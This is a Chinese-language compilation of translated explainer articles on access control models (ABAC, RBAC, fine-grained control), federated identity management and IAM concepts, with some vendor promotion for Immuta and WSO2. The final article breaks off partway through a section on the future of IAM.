基于属性的访问控制的主要组件是什么?
使用ABAC,组织的访问策略根据访问事件中涉及的主题、资源、操作和环境的属性强制执行访问决策。
主题
主题是请求访问资源以执行操作的用户。用户配置文件中的主题属性包括ID、工作角色、组成员身份、部门和组织成员身份、管理级别、安全许可和其他识别标准。ABAC系统通常从HR系统或目录中获取这些数据,或者从登录期间使用的身份验证令牌中收集这些信息。
资源
资源是主体想要访问的资产或对象(例如文件、应用程序、服务器甚至API)。资源属性都是识别特征,如文件的创建日期、所有者、文件名和类型以及数据敏感性。例如,当尝试访问您的在线银行帐户时,所涉及的资源将是“bank account = <correct account number>.”
行动
该操作是用户试图对资源执行的操作。常见的动作属性包括“读取”、“写入”、“编辑”、“复制”和“删除”。在某些情况下,多个属性可以描述一个动作。继续在线银行示例,请求转账可能具有“action type = transfer”和“amount = $200.”的特征
环境
环境是每个访问请求的更广泛的上下文。所有环境属性都与上下文因素有关,如访问尝试的时间和位置、受试者的设备、通信协议和加密强度。上下文信息还可以包括组织已确定的风险信号,例如认证强度和受试者的正常行为模式。
ABAC如何使用属性来表达访问控制策略?
属性是访问事件中涉及的组件的特征或值。基于属性的访问控制根据规则分析这些组件的属性。这些规则定义了授权哪些属性组合,以便主体成功地对对象执行操作。
基于属性在环境中的交互方式,每个ABAC解决方案都可以在环境中评估它们,并实施规则和关系。策略考虑属性来定义允许或不允许哪些访问条件。
例如,假设以下策略已到位:
“如果受试者担任通信工作,他们应该能够阅读和编辑所代表业务部门的媒体策略。”
每当发生访问请求时,ABAC系统都会分析属性值,以查找与已建立策略的匹配。只要上述策略有效,具有以下属性的访问请求应授予访问权限:
- Subject’s “job role” = “communications”
- Subject’s “business unit” = “marketing”
- Action = “edit”
- Resource “type” = “media strategy document”
- Resource “business unit” = “marketing”
实际上,ABAC允许管理员实现基于策略的细粒度访问控制,使用不同的属性组合来创建特定或广泛的访问条件。
ABAC的优点是什么?
现在您已经知道了ABAC是什么以及它是如何工作的,让我们来看看它如何保持业务的敏捷性和安全性。基于属性的访问控制有三个主要好处:
精细而灵活的决策
ABAC的主要优势是其灵活性。本质上,决策的局限性在于必须考虑哪些属性,以及计算语言可以表达的条件。ABAC允许最大范围的主题访问最大数量的资源,而不需要管理员指定每个主题和对象之间的关系。以以下步骤为例:
- 当受试者加入组织时,他们会被分配一组受试者属性(例如,John Doe是放射科的顾问)。
- 创建对象时,将为其分配属性(例如,包含心脏病患者心脏成像测试文件的文件夹)。
- 然后,管理员或对象所有者创建访问控制规则(例如,“放射科的所有顾问都可以查看和共享心脏病患者的心脏成像测试文件”)。
管理员可以进一步修改这些属性和访问控制规则,以满足组织的需要。例如,当为外部主体(如承包商和供应商)定义新的访问策略时,他们可以在不手动更改每个主体-对象关系的情况下这样做。ABAC允许各种各样的访问情况,几乎没有管理监督。
与新用户的兼容性
使用ABAC,管理员和对象所有者可以创建允许新主体访问资源的策略。只要为新受试者分配了访问对象所需的属性(例如,放射科的所有顾问都分配了这些属性),就不需要修改现有规则或对象属性。
ABAC模型允许组织在招聘新员工和支持外部合作伙伴时保持灵活。
严格的安全和隐私
通过属性的使用,ABAC允许决策者控制许多情境变量,以细粒度为基础确保访问安全。例如,在RBAC模型中,人力资源团队可能始终可以访问敏感的员工信息,如工资数据和个人身份信息。使用ABAC,管理员可以实施考虑上下文的智能访问限制。例如,人力资源员工只能在特定时间或仅限相关分支机构的员工访问这些信息。
因此,ABAC允许组织有效地弥补安全漏洞,尊重员工隐私,同时有效地遵守法规遵从性要求。
ABAC的缺点是什么?
谈到ABAC,收益远远超过成本。但在实现基于属性的访问控制之前,企业应该记住一个缺点:实现复杂性。
设计和实施复杂
ABAC很难起步。管理员需要手动定义属性,将其分配给每个组件,并创建一个中央策略引擎,根据各种条件(“如果是X,则是Y”)确定允许哪些属性。该模型对属性的关注也使得在所有属性和规则到位之前,很难衡量特定用户可用的权限。
然而,虽然实现ABAC需要花费大量的时间和资源,但付出的努力确实是有回报的。管理员可以复制和重用类似组件和用户位置的属性,ABAC的适应性意味着为新用户和访问情况维护策略是一件相对“不干涉”的事情。
我的组织的正确访问控制模型是什么?
组织的规模是一个关键因素。由于ABAC最初难以设计和实现,小企业可能难以考虑。
对于中小型企业来说,RBAC是ABAC的一个更简单的替代方案。每个用户都被分配了一个具有相应权限和限制的唯一角色。当用户移动到新角色时,其权限将更改为新职位的权限。这意味着,在明确定义角色的层次结构中,很容易管理少量内部和外部用户。
然而,当必须手动构建新角色时,对于较大的组织来说效率不高。一旦定义了属性和规则,当用户和利益相关者众多时,ABAC的策略就更容易应用,同时也降低了安全风险。
简而言之,如果出现以下情况,请选择ABAC:
- 你在一个拥有众多用户的大型组织中
- 您需要深度、特定的访问控制功能
- 你有时间投资于一个能走得更远的模型
- 您需要确保隐私和安全合规
但是,如果:
- 你在一家中小型企业
- 您的访问控制策略很宽泛
- 您的外部用户很少,而且您的组织角色已明确定义
- 357 次浏览
【应用安全】什么是细粒度访问控制?(以及为什么如此重要)
确定谁可以和不能访问某些数据的最传统方法之一是一个称为基于角色的访问控制(RBAC)的框架。此方法定义公司内的特定用户角色,然后为每个角色指定权限。但如果一家公司需要超越这些简单的授权呢?每次添加新的数据平台、数据源或数据集时,必须为每个角色定义访问权限。在大型、复杂的公司,甚至是小型但不断发展的公司中,可能有数十甚至数百个角色需要管理,这些角色不断扩大。
最简单地说,RBAC可能看起来像这样:ROLE A
- 包括员工X、员工Y和员工Z
- 可以访问文件夹3、文件夹4和文件夹5
角色B
- 包括员工A、员工B和员工C
- 可以访问文件夹1、文件夹2和文件夹3
您可以看到,这会变得非常复杂和难以管理。细粒度访问控制(包括基于属性的访问控制)是控制数据和资源访问的一种更优雅、更细粒度的方式,是一种更强大的选择。
什么是细粒度访问控制?
细粒度访问控制是一种控制谁可以访问某些数据的方法。与广义数据访问控制(也称为粗粒度访问控制)相比,细粒度访问控制使用了更细微和可变的方法来允许访问。
最常用于大量数据源存储在一起的云计算中,细粒度访问控制为每个数据项提供了自己指定的访问策略。这些标准可以基于许多特定因素,包括请求访问的人员的角色和对数据的预期操作。例如,一个人可能被授予编辑和更改数据的权限,而另一个人可能只被授予读取数据的权限而不进行任何更改。
为什么细粒度访问控制很重要?
在云计算中,将大量信息存储在一起的能力是一个巨大的竞争优势。但是,这些数据的类型、来源和安全级别可能有所不同,特别是考虑到与客户数据或财务信息相关的数据安全合规性法律法规时。
当数据类型可以单独存储,并且可以根据存储位置简单地分配对特定数据类型的访问权限(例如,Tim可以访问X文件夹,Natalie可以访问Y文件夹等)时,粗粒度访问控制可能会起作用,如在本地环境中。但当数据一起存储在云中时,细粒度访问控制至关重要,因为它允许具有不同访问要求的数据在同一存储空间中“生存”,而不会遇到安全或法规遵从性问题。
如何使用细粒度访问控制?
以下是细粒度访问控制的一些最常见用例:
用例1:多个数据源存储在一起
在云中,大量不同的数据类型存储在一个地方。您不能简单地基于角色授予对这些存储段的批量访问权限—某些数据类型可能可以由某个角色访问,而其他数据类型则不应该。因此,细粒度访问控制非常重要,因为它为特定数据类型设置访问参数,即使在一起存储时也是如此。
用例2:基于角色的不同访问程度
细粒度访问控制最显著的好处之一是它允许不同程度的访问,而不是基于用户、其角色或所属组织的通过/失败方法。在粗粒度系统中,数据可能会根据谁试图访问它而简单地分为两类——允许或禁止。但是有了细粒度的访问控制,就有了更微妙和变化的空间。
例如,假设三名员工具有不同的角色和访问级别。对于某段数据,您可以设置参数,以便其中一个员工可以访问该文件,对其进行更改,甚至移动其位置。第二个员工可以查看文件并移动它,但不能访问它。第三名员工可能只被授予读取文件的权限。
这种级别的特殊性可以帮助您的公司避免因某些人需要查看数据而无法查看而带来的不便和沮丧,因为他们的权限受到了完全限制。
用例3:确保移动访问安全
越来越多的公司支持通过智能手机等移动设备远程访问数据。与此同时,由于人们在家或在不同的时间工作,标准工作日也在延长。考虑到这一点,公司可能需要实施不仅基于角色或身份,而且基于时间或位置等因素的数据访问控制。
细粒度访问控制允许这样做。例如,您可以将访问权限限制在特定位置,这样员工就无法从可能受到破坏的第三方无线服务器访问该位置。
用例4:第三方访问
在许多情况下,B2B企业可能希望让第三方访问其存储在云中的部分资产,而不会有数据意外更改或安全受损的风险。细粒度访问控制可以允许这些公司授予第三方只读访问权限,从而确保其数据的安全。
细粒度访问控制的要素是什么?
通常认为有三种主要形式的访问控制解决方案:
- 基于角色的访问控制
- 基于属性的访问控制
- 基于策略的访问控制
基于角色的解决方案被认为是粗粒度的,因为它们将用户组织为“角色”,并仅基于这些角色授予或拒绝访问权限,而忽略了其他因素。这意味着它们可能过于宽泛或限制,无法有效扩展。事实上,一项独立研究发现,Apache Ranger的RBAC方法需要比Immuta的基于属性的方法多75倍的策略更改。
在细粒度访问控制方面,两种主要方法是基于属性的访问控制和基于目的的访问控制。
基于属性的访问控制
基于属性的访问控制将“属性”分配给特定用户和数据,然后根据这些属性确定访问。这些属性可以包括用户的位置或角色,但也可以包括他们的位置、一天中的时间和其他因素。数据属性可能包括数据类型、创建日期或存储位置等。
基于目的的访问控制
基于目的的访问控制是最灵活的访问控制授权形式,它使用灵活且不断发展的逻辑连接将一系列角色和属性结合在一起。它被认为是一种细粒度访问控制解决方案,因为它使用多个属性来确定数据是否可以访问,以及访问的程度。这篇关于使用Databricks和Immuta实现零信任的博客介绍了基于目的的访问控制。
选择数据访问控制工具
正在寻找一种能够提供细粒度访问控制以及更多功能的数据访问控制工具?Immuta通过在查询时动态应用的自动、基于属性和目的的控件实现自助数据访问。这些数据访问控制由一系列增强数据访问控制和通用云兼容性和安全性的其他功能补充,包括:
- 敏感数据发现和分类
- 动态数据屏蔽
- 数据策略执行和审核
凭借Immuta的细粒度、动态访问控制功能,数据工程和运营团队将其角色数量减少了100倍,并将自助数据访问从几个月减少到几秒钟。
- 379 次浏览
【应用安全】什么是联合身份管理?
介绍
联合身份管理是一种可以在两个或多个信任域之间进行的安排,以允许这些域的用户使用相同的数字身份访问应用程序和服务。这称为联合身份,使用这种解决方案模式称为身份联合。
联合身份管理建立在两个或多个域之间的信任基础之上。例如,信任域可以是合作伙伴组织、业务单位、子公司等。
在当今的任何数字组织中,身份和访问管理 (IAM) 是一项专门的功能,委托给称为身份代理的服务提供商。这是一项专门在多个服务提供商之间代理访问控制的服务,也称为依赖方。联合身份管理是跨组织的两个或多个提供者之间做出的安排。
根据身份代理在联合身份管理中所扮演的角色,身份代理可能有其他名称。这些名称在整个行业中并未标准化,尽管以常见的说法使用并且可以互换使用。因此,无论何时使用这些名称,都必须在相关上下文中指定这些名称,并且根据安排,身份代理可能扮演多个角色。
这些角色包括:
- 身份提供者
- 居民身份提供者
- 联合身份提供者
- 联合提供者
- 常驻授权服务器
以下是每个角色的简要说明。
身份提供者负责声明带有声明的数字身份,供服务提供者使用。
居民身份提供者是针对数字身份定义的,并且不负责在其信任域内声明数字身份。有时这也称为本地身份提供者或现任身份提供者。
联合身份提供者是针对信任域定义的,并负责声明属于第二个信任域的数字身份。两者之间建立了信任关系。
联合提供者一词表示身份代理,它专门根据信任关系在多个服务提供者和多个身份提供者之间调解 IAM 操作。
驻留授权服务器是针对服务提供者定义的,并且是应用程序或服务提供者的逻辑表示所在的位置。它负责对应用程序或服务提供者进行身份验证和授权以获取所请求的访问权限。
身份联合的好处
- 提供无缝的用户体验,因为用户只需要记住一组凭据。
- 大多数实现都支持单点登录。
- 通过将帐户和密码管理职责委托给常驻身份提供者来避免管理开销,而不必管理多个身份孤岛。
- 简化数据管理和存储成本。
- 避免隐私和合规负担。
联合身份管理用例示例
- 联合身份管理提供对来自供应商、分销商和合作伙伴网络的用户的访问。
- 联合身份管理为并购后传统组织范围之外的新用户提供访问权限。
- 联合身份管理提供对来自银行等商业身份提供者的用户的访问,例如,PSD2 中的第三方支付提供者 (TPP)。提供对来自银行等商业身份提供者的用户的访问,例如,PSD2 中的第三方支付提供者 (TPP) .
- 联合身份管理使用国家身份提供者(例如 DigiD、Emirates ID 等)向公民提供访问权限。
- 联合身份管理为拥有公共组织 ID(例如 ORCID ID)的用户提供访问权限。
- 此外,这允许使用社交登录(注册/登录/连接),例如 Facebook、Google、LinkedIn 等。
- 此外,它可以用作临时安排,以支持 IAM 系统之间的转换。
入站和出站身份联合
身份联合大致分为两个领域:
- 入站身份联合
- 出站身份联合
在身份联合流程中,一个从另一个身份代理接收断言的身份代理称为入站身份联合。 这允许您向您的组织的传统边界/信任域之外的身份提供对您的应用程序和服务的访问。
类似地,产生要由另一个身份代理使用的断言的身份提供者称为出站身份联合。 这允许您管理的身份访问您组织的传统边界/信任域之外的应用程序和服务。
- Figure 1: Identity Federation between the Enterprise and SaaS Application
图 1 说明了企业和 SaaS 应用程序之间的身份联合安排。 SaaS 应用程序托管在 Azure 云中,其身份验证委托给联合提供商。企业是 SaaS 应用程序的租户和联合提供商。企业身份提供者 (ADFS) 在 Azure 云中联合提供者的相应租户中配置为联合身份提供者。因此,在云租户的联合提供者和企业身份提供者之间建立了信任。因此,企业身份提供者中的用户将能够使用他们在企业身份提供者中的身份登录到 SaaS 应用程序的相应租户。
所描述的流程是关于认证的。但是,为了让用户获得完全访问权限,他们还需要通过授权。授权可能是也可能不是这种联合安排的一部分。
身份联合与单点登录
大多数联合身份管理解决方案的实施方式是,用户无需在每个登录会话中多次证明其身份。单点登录不是身份联合的同义词。但是,它是其实施方式的副产品。
另一方面,并不是所有的单点登录实现都可以归类为身份联合。例如,基于 Kerberos 网络身份验证协议的集成 Windows 身份验证 (IWA) 是跨应用程序和服务的单点登录实施示例,但不被视为身份联合的示例,因为它仅限于特定网络。
带上你自己的身份
随着使用社交身份访问应用程序和服务的趋势,自带身份 (BYOID) 一词变得流行起来。虽然 BYOID 通常用于社会身份的背景下,但该概念适用于由政府、非政府组织或企业发布的任何联合数字身份。
用例 3、4、5 和 6 都是 BYOID 的示例,常见于客户 IAM (CIAM)。它们可以进一步划分为 BYOID,用于注册、登录和连接。尽管所有这 3 个用例都遵循类似的流程,但这些用例的目标存在细微差别。
“用于注册的 BYOID”的目标是通过检索一部分以完成在中间身份代理中为用户创建帐户所必需的个人资料信息,使用管理的身份来改善自我注册过程的用户体验由第三方。
相反,“用于登录的 BYOID”的目的是使最终用户的登录流程尽可能顺畅,同时尽可能减少额外输入的提示。用于登录的 BYOID 不一定需要在中间身份代理中配置本地帐户。
最后,“BYOID 连接”的目的只是用附加/缺失的信息丰富/填充本地用户配置文件。
联合帐户链接
联合身份提供者的关键特征之一是将多个联合身份提供者中的单个身份的数字标识符链接到常驻身份提供者中的数字标识符。 这称为联合帐户链接。
如果没有联合帐户链接,联合提供者将仅在服务提供者和联合身份提供者之间进行调解。 这种联合模式常见于非关键应用和服务中,例如公共论坛、下载表格、白皮书、报告等。这可以在下面的图 2 中看到。
- Figure 2: Federated login without account linking
然而,对于联合帐户链接,除了调解之外,联合提供者还可以提供帐户管理、密码管理和权利管理等功能,如图 3 所示。
- Figure 3: Federated login with account linking
即时账户配置
即时帐户配置技术用于在中间身份代理中为用户即时设置帐户。 即时账户配置是即时账户链接的关键部分。 图 4 更好地说明了这一概念。
Figure 4: Federated login with just-in-time account provisioning
即时密码配置
即时密码配置是即时账户配置的可选步骤。对此类供应的需求通常取决于组织的组合帐户和密码策略以及用户将访问的应用程序。如果您决定为本地帐户提供新密码,则允许用户继续使用联合身份登录也是可选的。
家庭领域发现
与单一身份提供者联合不足以满足当今的企业需求。由于需要支持多个合作伙伴或多个社交登录选项,通常会配置多个联合身份提供者(称为领域)。在这种情况下,为尝试访问应用程序或服务的特定用户选择常驻身份提供者(通常称为家庭领域)成为一项挑战,尤其是在用户体验方面。
家庭领域发现 (HRD) 是识别特定用户的常驻身份提供者的过程,以便对用户进行身份验证并通过声明断言用户的身份。 HRD 最初是 Microsoft 术语,但该概念适用于所有现代身份联合。关于如何实施 HRD 没有标准。每个供应商都有自己的风格,因此很难支持可移植性。
HRD 方法可以是自动的或涉及手动用户交互。以下是一些常用的HRD方法:
- 向用户提供可供选择的选项列表。
- 标识符首次登录 — 提示用户输入自己的标识符,并根据标识符解析身份提供者。例如,如果标识符是 johann@gmail.com,我们会知道 Johann 的身份提供者是 Google,向 Google 发起身份验证请求,理想情况下,标识符会预先填写在 Google 登录表单中,以便用户不必重新输入他的标识符。
- 选择性家庭领域发现 — 限制用于特定服务提供者的身份提供者。这在有多个您信任的联合身份提供者但具有仅由身份提供者的特定子集中的用户使用和访问的服务提供者的情况下很有用。
- 使用服务提供者添加的 HTTP 查询参数。
- 使用用户设备的 IP 地址。例如,Intranet 用户必须使用 Active Directory (AD) 中的本地帐户登录,而 Internet 用户必须从具有多因素身份验证的上游身份提供者登录,以提高安全性。
- 使用通过拦截代理服务器添加的标头。
- 使用 cookie 来记住用户之前在设备上选择的领域。如果未找到 cookie,则回退到手动方法。
- 联合身份提供者本身可以是一个联合提供者,后者又与其他身份提供者联合。在这种情况下,提示用户在每个中间联盟提供商处为 HRD 提供信息,可能会被认为是糟糕的用户体验。因此,可能需要预先从用户那里收集所有可能的信息,以将其路由到正确的居民身份提供者。
支持 IAM 转换
身份联合也可以用作 IAM 的过渡策略。它可以促进从多个分散的源用户目录到单个集中的目标用户目录的转换。在这种情况下,将提供密码。最终迁移所有帐户后,您可能决定将这些管理分布式目录的联合身份提供者与生态系统断开连接。
概括
本文重点介绍联合身份管理及其用法。有许多身份联合协议,例如安全断言标记语言 (SAML2) Web SSO、OpenID Connect、WS-Trust、WS-Federation 等。虽然我们没有研究任何用于实现联合身份管理的特定协议,我们讨论的概念对于您可能选择用来实现它的任何协议都保持不变。
WSO2 Identity Server 是在 Apache 2.0 许可下分发的开源 IAM 产品。它拥有强大的身份管理和身份联合框架,使其能够在联合身份管理系统中扮演任何身份代理的角色,如本文所述。
原文:https://wso2.com/articles/2018/06/what-is-federated-identity-management/
- 173 次浏览
【应用安全】什么是身份和访问管理 (IAM)?
身份和访问管理 (IAM) 是一个安全框架,可帮助组织识别网络用户并控制其职责和访问权限,以及授予或拒绝权限的场景。 IAM 通常指的是授权和身份验证功能,例如:
- 单点登录 (SSO),因此您可以让用户能够使用一组凭据进行一次登录,从而获得对多个服务和资源的访问权限
- 多因素身份验证 (MFA),因此您可以通过要求用户提供两个或更多因素作为身份证明来获得更高级别的用户身份保证
访问管理,因此您可以确保只有正确的人才能访问正确的资源
在网络边界不再可靠或不再相关的世界中,这些功能是确保安全的基础。但对于许多组织而言同样重要的是以下身份安全功能:
目录
- 身份验证
- 同意收集和数据隐私管理
- 风险管理
- 个人身份
- API 安全性
- 为用户和开发人员提供自助服务
这些高级功能可针对不断演变的威胁提供额外保护,帮助您支持遵守越来越多的法规,并为用户提供他们期望的体验。
IAM 的目的是什么,为什么它很重要?
您的用户不再局限于受防火墙保护的员工。随着远程工作越来越受欢迎,您需要能够让不同的员工用户从任何地方和任何设备上访问资源,以确保生产力不会受到影响。
您的客户还通过越来越多的数字渠道与您互动。随着客户行为的改变,您现在也必须为这些用户提供访问权限,否则就有失去竞争优势的风险。
这些工作完成方式和采购决策方式的转变将传统的安全方法推向了临界点。但安全要求并不是唯一改变的事情。
您的用户(包括员工和客户)已经习惯了便利。因此,他们希望能够在他们想要的时间和地点快速轻松地获得资源、服务和商品。虽然您的员工可能更倾向于使用所提供的东西,但您的客户可以并且将探索他们的选择。
在当今的数字化和无边界世界中,传统的边界安全方法不再可靠或相关。 IAM 将边界转移到用户身上,并将身份置于安全的中心。在授予用户访问敏感资源或数据的访问权限之前,您可以确保用户是他们声称的身份。但是你也不能让这个过程过于繁琐。在安全性和体验之间取得适当的平衡至关重要,IAM 可以帮助您做到这一点。
客户身份和访问管理 (CIAM):专为客户用例设计的 IAM
谈论 IAM 而不包括至少对客户 IAM (CIAM) 的简短讨论几乎是不可能的,甚至可能是不负责任的。虽然许多组织发现 IAM 满足提供安全的劳动力访问的要求,但它通常缺乏客户用例所需的功能。
借助 CIAM,您可以获得能够提供卓越客户体验的能力,包括:
- 统一配置文件,以便您可以为客户提供一致的多渠道体验和个性化交互
- 强大的安全功能扩展到数据层,因此您可以保护宝贵的客户数据并降低违规风险
- 性能和可扩展性,因此您可以在高峰时段和吸引新客户时提供即时和无摩擦的访问
隐私和法规遵从性,因此您可以让客户能够控制其数据的共享方式和共享对象,并遵守通用数据保护条例 (GDPR) 等法规
什么是 Cloud Identity and Access Management (Cloud IAM)?
数字化转型促使组织将基础架构迁移到云端,以优化 IT 运营并降低成本。部署在云中的 IAM 解决方案可作为 SaaS 服务、部署在供应商私有云中的托管服务以及作为部署在组织自己的私有云或公共云中的软件提供。 Cloud IAM 允许您对用户进行身份验证,无论他们身在何处,并安全地访问 SaaS、云、本地和 API 中的资源,同时提高您的速度、敏捷性和效率。
Cloud IAM 的主要优势是什么?
Cloud IAM 简化了您向云的迁移,不同的云部署选项提供不同级别的自定义和管理责任。主要好处包括:
- 通过将身份基础架构迁移到云端,遵守执行云优先的要求。
- 降低基础架构维护和支持成本,尤其是在使用 SaaS 或托管云服务时。
- 在部署身份功能时加快实现价值的时间。
- 提高 IAM 的灵活性和可扩展性。
- 享受更轻松、更频繁的升级,尤其是当服务由云中的供应商管理时。
- 如果身份供应商正在管理 IAM 服务,请减少对昂贵的内部身份专家的依赖。
IAM 和云 IAM 有什么区别?
过去,本地 IAM 软件是维护身份和访问策略的有效方式。随着组织超越本地服务以满足远程工作需求以及人们开始使用移动设备进行工作和娱乐,管理身份和访问的过程变得更加复杂。将 IAM 解决方案迁移到云端对于具有云优先任务的企业来说是合乎逻辑的一步。虽然身份作为 SaaS 服务(也称为 IDaaS)很常见,但还有其他方法可以在云中实现身份,例如借助 Docker 和 Kubernetes 等 DevOps 工具在您自己的公共或私有云中部署支持云的软件。
访问管理和身份管理有什么区别?
在查看 IAM 解决方案时,通常很难区分身份管理和访问管理,实际上您可能会看到这两个术语都用于描述整个 IAM 空间。可以说,它们齐头并进,两者都需要确保您在正确的时间和出于正确的原因让正确的人访问正确的事物。
但从根本上说,它们并不相同。身份管理涉及对用户进行身份验证的过程,而访问管理涉及对用户进行授权。具体来说,身份管理将数字属性和数据库中的条目结合起来,为每个用户创建一个唯一的身份,在身份验证期间可以将其作为真实来源进行检查。访问管理确定谁可以在任何给定时间访问资源或数据库。访问管理系统通过登录页面和协议管理访问门户,同时还保证请求访问的特定用户具有适当的权限。
IAM 作为一个整体让您能够在用户获得访问权限之前验证他们的身份。在最简单的形式中,身份管理对用户进行身份验证,然后访问管理根据用户的身份属性确定个人的授权级别。
身份管理有什么好处?
身份和访问管理可帮助您在安全性和体验之间取得理想平衡。此外,它可以帮助您节省资金并满足合规要求,同时增强您的员工和客户体验。将 IAM 集成到您的运营中的主要好处包括:
IAM 增强安全性
提高安全性可以说是您从 IAM 中获得的第一大好处。多因素身份验证等功能可减少您对密码的依赖,从而降低因凭据泄露而导致的泄露风险。随着远程工作成为常态,您的 IT 团队必须管理越来越多的应用程序和设备,您需要新的方法来防止网络攻击和数据泄露。 IAM 通过 API 安全和身份验证等功能帮助您应对日益复杂的威胁,因此您可以确信只有正确的人才能访问正确的资源。
IAM 改善用户体验
通过将恰到好处的安全性与无缝访问相结合,IAM 可帮助您保持员工之间的联系,并让您的客户再次光顾。单点登录让您可以让您的用户更快、更轻松地访问他们需要的资源。当您将 SSO 与自适应身份验证结合使用时,您可以将身份验证要求与所请求的访问相匹配。通过仅在必要时加强安全性,您可以最大限度地减少摩擦并提供更好的用户体验。 IAM 的进步,如无密码身份验证,通过减少甚至消除难以跟踪的密码的使用,进一步简化了访问(不影响安全性)。
IAM 提高劳动力生产力
劳动力用户需要访问一系列不同的应用程序来完成他们的工作。当忘记密码和受限权限阻碍访问时,生产力就会受到影响。 SSO 等 IAM 功能通过减少登录和访问资源所需的时间来帮助更有效地完成工作。
IAM 简化 IT 工作量
说到忘记密码,据估计,超过 50% 的 IT 帮助台呼叫归因于密码重置,并且单个密码重置请求平均花费公司 70 美元。 IAM 解决方案最大限度地减少您对密码的依赖以及随之而来的麻烦。 IAM 还可以根据角色和更精细的属性,轻松地在您的组织中实施身份服务和更改权限。
IAM 支持监管合规
通过提供 API 安全等功能,IAM 简化了对开放银行要求的合规性。同样,隐私和同意管理功能简化了对 GDPR 和加州消费者保护法 (CCPA) 等数据隐私法规的合规性。随着从金融到医疗保健再到零售等一系列行业的法规不断提高,IAM 为您提供了快速适应的敏捷性。
数字认证的类型
您可以使用多种方法来证明用户的身份。但并非所有数字身份验证都是平等创建的。某些类型,如生物特征、上下文和行为认证,不仅更加复杂和安全,而且还减少了用户摩擦。以下是一些常见的数字身份验证方法的细分。
预共享密钥 (PSK)
PSK 是一种数字身份验证协议,其中密码在访问相同资源的用户之间共享。典型示例包括办公室环境中许多员工共享的单个网络 WiFi 密码。虽然这种做法很常见且方便,但共享密码的安全性不如个人密码,并且会使您面临第 2 层和中间人攻击等威胁。数字证书通过将身份与访问联系起来,提供比 PSK 更安全的身份验证形式,以便您知道谁或哪个设备正在使用网络。它们还消除了频繁更改密码的需要。
唯一密码
唯一密码需要最少数量的字符以及字母、符号和数字的复杂组合,这使得它们更难被破解。但是这些要求也使唯一密码成为您的用户创建和跟踪的负担。除了为每个应用程序创建一个唯一的密码外,用户还必须每 60-90 天提供一次原始密码。所有这些因素都会导致密码疲劳并增加您的安全风险。相比之下,单点登录允许您的用户使用单个用户名和密码组合访问多个资源。
硬件令牌
硬件令牌是小型物理设备,例如智能卡、密钥卡或 USB 驱动器。该设备本身包含一个算法(时钟或计数器)和用于计算伪随机数的种子记录。用户输入这个数字来证明他们拥有令牌,或者他们可能会按下设备上的一个键,这会生成一个一次性密码 (OTP) 并将其发送到服务器。硬件代币的物理性质使它们的推出成本高昂且繁琐,并使它们面临破损、丢失和被盗的风险。一种更简单且成本更低的替代方案是移动身份验证,它依赖于软令牌生成用于登录的 OTP。
生物特征认证
虽然其他形式的身份验证依赖于您的用户知道的东西(密码)或拥有的东西(设备、令牌),但生物识别身份验证使用您的用户的特征来证明身份。生物特征认证的示例包括指纹、面部识别、语音识别、手部几何形状和视网膜或虹膜扫描。这些形式的身份验证更加安全,因为它们对个人来说是高度独特的,并且更难复制、窃取或破坏。随着移动设备、平板电脑和 PC 制造商开始将这些技术整合到设备中,它们的使用也在增长。此外,FIDO 协议的使用通过使用标准公钥加密技术提供了更强的身份验证。使用 FIDO,生物特征信息永远不会离开用户的设备。这通过使在线服务无法跨服务协作和跟踪用户来保护用户隐私。
上下文认证
一种基于风险的身份验证形式,上下文身份验证使用地理位置、IP 地址、一天中的时间和设备标识符等信息来确定用户的身份是否真实。通常,将用户的当前上下文与先前记录的上下文进行比较,以发现不一致并识别潜在的欺诈行为。虽然这些检查对授权用户是不可见的,但它们对攻击者构成了重大障碍。
行为生物识别
另一种基于风险的身份验证形式,行为生物识别技术利用机器学习来识别独特的用户行为,如鼠标特征和击键动态。通过了解用户的典型行为和交互方式,行为生物识别技术可让您检测可能表明可疑活动或恶意攻击的异常行为。由于每个人都表现出独特的设备行为,因此行为生物识别技术可以帮助您区分授权用户和不良行为者。
多因素身份验证 (MFA)
多因素身份验证比单独使用密码和硬件令牌更安全,它要求用户提供至少两条证据来证明其身份。他们必须提供他们知道的东西、他们拥有的东西或他们所拥有的东西,每个类别只提供一种形式的证据。例如,MFA 身份验证流程可能要求用户使用用户名和密码(他们知道的)登录。然后,他们可能需要通过在移动应用程序(他们拥有的东西)上确认请求来完成身份验证。
IAM 的风险是什么?
任何有效的风险管理策略都始于识别您面临的潜在风险。 KuppingerCole 的信息安全分析师建议在这五个领域评估您的组织,以识别和降低潜在风险,并设置您的 IAM 计划以取得成功。
1. 高层支持
风险:如果 IAM 缺乏高管的支持,则很难在整个组织中获得使 IAM 成功所需的财务和资源支持。
问题:责任的识别通常是最复杂的挑战。 您需要为组织转变和决策提供自上而下的支持。
缓解:当业务价值可以用清晰、简单的术语解释时,更容易获得高管支持。 执行发起人需要充分了解并准备好影响 IAM 计划的方向,并了解其中各个项目的目的和目标。
2. 业务参与
风险:在没有业务参与的情况下,IAM 项目会遭受范围不明确、范围蔓延和被技术要求所取代。
问题:企业需要推动项目并引领技术,而不是相反。
缓解:除了满足监管规范和审计要求外,还需要传达 IAM 的其他好处,包括获得用户的整体视图、快速连接新业务合作伙伴的能力以及增加业务的敏捷性。在将技术部署在适当的环境中之前,了解和规划业务环境非常重要。
3. 战略
风险:IAM 项目可能很复杂,使得“大爆炸”方法难以控制。必须从一开始就考虑到需要管理的企业身份的倍增。
问题:尽管最初的实施可能只为一组员工提供一小部分功能,但必须对其进行设计,以便它们可以扩展。
缓解措施:IAM 实施应分解为单独且范围明确的项目,而不是一个边界不明确的大型项目。
4. 技术
风险:IAM 实施可能会因技术失误而停止,例如选择错误的产品、试图利用现有的失败产品或让供应商或其他技术“专家”驱动程序。
问题:技术专长不足以成功实施 IAM。它需要对环境有一个全面的了解,并且对项目的成功有既得利益。
缓解:确保系统集成商、供应商和技术团队得到利用和尊重,但实施最终由业务指导和控制。为技术团队提供一个平台来表达他们的担忧并让他们参与进来,但不要让他们限制业务需求。
5. 人
风险:人对 IAM 的成功至关重要。但是个人会根据他们的角色和/或以前的技术经验对 IAM 的运作方式有不同的理解。由于对 IAM 应该包含的内容存在冲突的看法,项目很快就会变得政治化,从而在业务和技术团队之间造成分裂和内讧。
问题:部门需要能够控制对自己系统的访问。新用户组需要轻松入职。
缓解:必须从一开始就考虑个人及其各自的需求和理解。必须自由分享知识,定期交流进展并庆祝成功。最后也是最重要的一点,IAM 必须足够简单,才能为最终用户工作。
IAM 的未来是什么?
远程工作、网络安全、数据隐私和客户体验的趋势继续影响 IAM 的优先事项。虽然未来永远无法完全预测,但指标表明身份安全即将发生六种转变。
更好地控制个人数据
